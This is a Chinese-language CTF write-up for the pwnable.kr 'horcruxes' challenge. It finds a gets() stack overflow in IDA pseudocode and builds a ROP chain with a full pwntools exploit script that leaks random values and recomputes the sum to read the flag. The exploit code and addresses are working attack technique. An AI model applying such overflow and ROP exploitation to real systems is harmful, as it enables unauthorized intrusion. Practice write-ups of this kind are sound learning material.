看题目,好像是和ROP利用技术有相关的题目,上去看看先
告诉我们要链接端口9032执行,我们先把文件下下来看看,由于没有提供源码,我们直接用IDA看
函数也不长,直接看伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ST1C_4
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
alarm(0x3Cu);
hint();
init_ABCDEFG();
v3 = seccomp_init(0);
seccomp_rule_add(v3, 2147418112, 173, 0);
seccomp_rule_add(v3, 2147418112, 5, 0);
seccomp_rule_add(v3, 2147418112, 3, 0);
seccomp_rule_add(v3, 2147418112, 4, 0);
seccomp_rule_add(v3, 2147418112, 252, 0);
seccomp_load(v3);
return ropme();
}
直接看ropme()
int ropme()
{
char s[100]; // [esp+4h] [ebp-74h]
int v2; // [esp+68h] [ebp-10h]
int fd; // [esp+6Ch] [ebp-Ch]
printf("Select Menu:");
__isoc99_scanf("%d", &v2);
getchar();
if ( v2 == a )
{
A();
}
else if ( v2 == b )
{
B();
}
else if ( v2 == c )
{
C();
}
else if ( v2 == d )
{
D();
}
else if ( v2 == e )
{
E();
}
else if ( v2 == f )
{
F();
}
else if ( v2 == g )
{
G();
}
else
{
printf("How many EXP did you earned? : ");
gets(s);
if ( atoi(s) == sum )
{
fd = open("flag", 0);
s[read(fd, s, 0x64u)] = 0;
puts(s);
close(fd);
exit(0);
}
puts("You'd better get more experience to kill Voldemort");
}
return 0;
}
漏洞点也很明显了在gets(s);
变量s是一个栈地址,而getflag
的条件就是if ( atoi(s) == sum )
,这个sum
在哪里被赋值了我们可以交叉引用看一下
unsigned int init_ABCDEFG()
{
int v0; // eax
unsigned int result; // eax
unsigned int buf; // [esp+8h] [ebp-10h]
int fd; // [esp+Ch] [ebp-Ch]
fd = open("/dev/urandom", 0);
if ( read(fd, &buf, 4u) != 4 )
{
puts("/dev/urandom error");
exit(0);
}
close(fd);
srand(buf);
a = 0xDEADBEEF * rand() % 0xCAFEBABE;
b = 0xDEADBEEF * rand() % 0xCAFEBABE;
c = 0xDEADBEEF * rand() % 0xCAFEBABE;
d = 0xDEADBEEF * rand() % 0xCAFEBABE;
e = 0xDEADBEEF * rand() % 0xCAFEBABE;
f = 0xDEADBEEF * rand() % 0xCAFEBABE;
v0 = rand();
g = 0xDEADBEEF * v0 % 0xCAFEBABE;
result = f + e + d + c + b + a + 0xDEADBEEF * v0 % 0xCAFEBABE;
sum = result;
return result;
}
也就是um = a + b + c + d + e + f + g
,而这七个数值是随机生成的。我们回过ropme
函数里看看,也有对应的字母的函数
int A()
{
return printf("You found \"Tom Riddle's Diary\" (EXP +%d)\n", a);
}
...
这里省略去后面的函数,因为都是一样的功能,把对应自身字母的数值给打印出来然后返回。
我们再查看一下程序开启的保护
发现程序没有开启PIE
也就是ASLR
随机地址载入的保护机制,
同样没有发现Canary
对栈指针进行保护。但是可以明显发现该程序实现了NX
栈不可执行的保护。
到这里,利用思路大概就有了
首先在IDA pro反汇编出的伪代码中已经标记出了sbuffer的大小和起始地址:[ebp - 0x74]
基于此我们可以推断出buffer的起始地址到ropme()反回地址的距离应该为0x74 + 4。
多出的这4个bytes长度是存放原函数ebp地址的数据长度。所以可以初步判断
padding的大小为0x78 = 120个bytes数据。
然后在后面追加每个对应 a + b + c + d + e + f + g
地址的rop链,获取数值计算,最后返回到main
函数中调用ropme()
函数的地方执行ropme()
然后再把计算好的sum输入进去,就可以getflag
了
在IDA里把对应的函数地址找到
call A() --> 0x809fe4b
call B() --> 0x809fe6a
call C() --> 0x809fe89
call D() --> 0x809fea8
call E() --> 0x809fec7
call F() --> 0x809fee6
call G() --> 0x809ff05
main <call ropme> --> 0x809fffc
所以构造出的payload
为:
'A' * 120 + 0x809fe4b + 0x809fe6a + 0x809fe89 + 0x809fea8 + 0x809fec7 + 0x809fee6 + 0x809ff05 + 0x809fffc
用pwntools写是这样的
from ctypes import c_int
from pwn import *
from pwnlib.util.proc import wait_for_debugger
context.arch = 'i386'
context.log_level = 'debug'
#s = ssh("horcruxes", "pwnable.kr", port=2222, password="guest")
#p = s.connect_remote('localhost', 9032)
p = process('./horcruxes',stdin=PTY)
wait_for_debugger(p.pid)
#r = remote('pwnable.kr', 9032)
padding = 'A' * 0x78
A = 0x0809FE4B
B = 0x0809FE6A
C = 0x0809FE89
D = 0x0809FEA8
E = 0x0809FEC7
F = 0x0809FEE6
G = 0x0809FF05
ropme = 0x0809FFFC
stage1 = flat(padding, A, B, C, D, E, F, G, ropme,endianness='little', word_size=32, sign=False)
p.recvuntil('Menu:')
p.sendline('1')
p.recvuntil('earned? : ')
p.sendline(stage1)
s = 0
for i in xrange(7):
p.recvuntil('EXP +')
s += int(p.recvline()[:-2])
#s &= 0xffffffff
s = c_int(s).value
p.recvuntil('Menu:')
p.sendline('1')
p.recvuntil('earned? : ')
p.sendline(str(s))
print p.recvline()
这是我本地调试时候用的,如果要连上pwnable.kr则要把注释去掉,再注释掉dbg的代码就可以了
这里我用本地调试的代码说明
可以看到执行后堆栈被覆盖
retn
的时候已经进入我们准备的rop链
等rop链完成后我们再次进入ropme()
,输入了正确的sum
,然后成功跳转到获取flag
的流程中了
还有网上很多大佬的wp都说不能直接返回ropme()
函数里面的任何一个位置,我尝试了一下,产生了如下错误
查了一下错误提示,大概意思是
当应用程序尝试访问未分配的存储区/无效的存储区/对该应用程序的未对齐访问时,将发生SIGSEGV问题
这里我也没有去深入研究,望知道的大佬教教弟弟
这里再记一个小坑,在我准备调试程序的时候发现
缺少库文件
然后我使用了如下命令去更新
sudo apt-get update && sudo apt-get install libseccomp2
发现还是没有解决这个错误,然后又找了好久,直到看到了这个帖子
https://askubuntu.com/questions/721357/is-it-safe-to-install-old-libraries-wine-issue
才发现原来是32位程序的问题,需要这样改一下
sudo apt-get update && sudo apt-get install libseccomp2:i386
我哭了:(